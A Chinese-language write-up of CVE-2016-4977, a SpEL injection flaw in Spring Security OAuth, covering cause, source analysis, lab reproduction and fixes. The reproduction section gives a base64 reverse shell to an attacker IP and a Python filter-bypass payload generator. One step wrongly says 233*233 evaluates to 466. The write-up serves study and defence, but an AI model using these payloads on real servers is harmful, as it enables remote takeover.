CVE-2016-4977 漏洞深度分析
漏洞概述
CVE-2016-4977 是 Spring Security OAuth 模块中的一个高危远程代码执行漏洞,影响版本为 1.0.0–1.0.5 和 2.0.0–2.0.9。攻击者通过构造恶意 SpEL(Spring Expression Language)表达式注入到错误处理流程中,触发远程命令执行。该漏洞的利用需攻击者具备合法身份认证(如通过 OAuth 授权流程),但在已授权场景下可直接接管服务器权限。
技术细节分析
1. 漏洞成因
- Whitelabel 视图的 SpEL 解析缺陷:
Spring Security OAuth 在处理错误页面(如认证失败)时,使用WhitelabelErrorEndpoint
渲染错误信息。错误信息中的errorSummary
参数未对用户输入进行过滤,直接通过SpelView
渲染模板,导致 SpEL 表达式被解析执行。 - 递归解析漏洞:
PropertyPlaceholderHelper
在处理模板时递归解析${}
内的内容,攻击者可通过构造多层嵌套表达式绕过防御机制,例如${T(java.lang.Runtime).getRuntime().exec("calc")}
。
2. 源码分析
关键代码 1:错误处理逻辑(WhitelabelErrorEndpoint.java)
@FrameworkEndpoint
public class WhitelabelErrorEndpoint {private static final String ERROR_TEMPLATE = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";@RequestMapping("/oauth/error")public ModelAndView handleError(HttpServletRequest request) {Map<String, Object> model = new HashMap<>();Object error = request.getAttribute("error");String errorSummary = (error instanceof OAuth2Exception) ? ((OAuth2Exception) error).getSummary() : "Unknown error";model.put("errorSummary", errorSummary);return new ModelAndView(new SpelView(ERROR_TEMPLATE), model); // 漏洞触发点}
}
- 问题点:
errorSummary
直接取自用户可控参数(如redirect_uri
或response_type
),未进行转义或过滤。通过SpelView
渲染时,${errorSummary}
中的恶意表达式被解析执行。
关键代码 2:SpEL 模板渲染(SpelView.java)
public class SpelView implements View {private final String template;private final PropertyPlaceholderHelper helper;private final PlaceholderResolver resolver;public SpelView(String template) {this.template = template;this.helper = new PropertyPlaceholderHelper("${", "}"); // 定义占位符this.resolver = name -> {Expression expr = parser.parseExpression(name);return expr.getValue(context).toString(); // 执行表达式};}@Overridepublic void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) {String result = helper.replacePlaceholders(template, resolver); // 触发解析response.getWriter().write(result);}
}
- 问题点:
replacePlaceholders
方法递归解析${}
内容,例如若errorSummary
包含${233*233}
,表达式会被计算为466
,若包含恶意命令(如Runtime.exec()
),则直接执行。
漏洞复现步骤
1. 环境搭建
# 使用 Vulhub 环境
docker-compose up -d
2. 攻击验证
Payload 1(表达式验证)
访问以下 URL,触发表达式计算:
http://target:8080/oauth/authorize?response_type=${233*233}&client_id=acme&redirect_uri=http://test
- 结果:页面显示
errorSummary
为54289
,证明表达式被执行。
Payload 2(反弹 Shell)
- 生成反弹shell
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
其中YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==
是bash -i >& /dev/tcp/192.168.1.102/6666 0>&1
的base64编码(换成自己攻击机的ip和监听端口)
- 开启监听
- 用
python
脚本生成payload
由于传统反弹shell被spring后端过滤了,因此采用将反弹shell拆分,并且转化为ASCII码
拼接起来,以此来绕过防护。
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
输入之前的反弹shell
- 生成
Payload
后,构造 URL:
http://target:8080/oauth/authorize?response_type=<encoded_payload>&client_id=acme&redirect_uri=http://test
将 <encoded_payload>替换为payload
-
结果:成功在攻击机监听的端口获取
Shell
。
修复方案
-
升级版本:
升级至 Spring Security OAuth 2.0.10+ 或 1.0.6+,官方修复了 SpEL 表达式的递归解析问题。 -
补丁机制分析:
修复方案引入RandomValueStringGenerator
,将${errorSummary}
替换为随机字符串前缀(如random{errorSummary}
),仅当占位符前缀匹配随机字符串时才解析表达式,但存在暴力破解风险(随机字符串固定为 6 位)。 -
临时缓解措施:
- 禁用 Whitelabel 错误页面,自定义错误处理逻辑。
- 对用户输入的
redirect_uri
和response_type
参数进行严格校验和过滤。
总结
CVE-2016-4977 的根源在于 Spring Security OAuth 对用户输入缺乏安全处理,导致 SpEL 注入。其修复方案通过随机化占位符前缀限制表达式解析,但开发者仍需警惕类似递归解析漏洞。实际开发中,应遵循最小化输入信任原则,避免直接渲染未经验证的用户输入。
参考来源
- Spring Security OAuth RCE 漏洞分析(CVE-2016-4977)
- CVE-2016-4977 补丁机制与利用限制
- 漏洞复现与 PoC 构造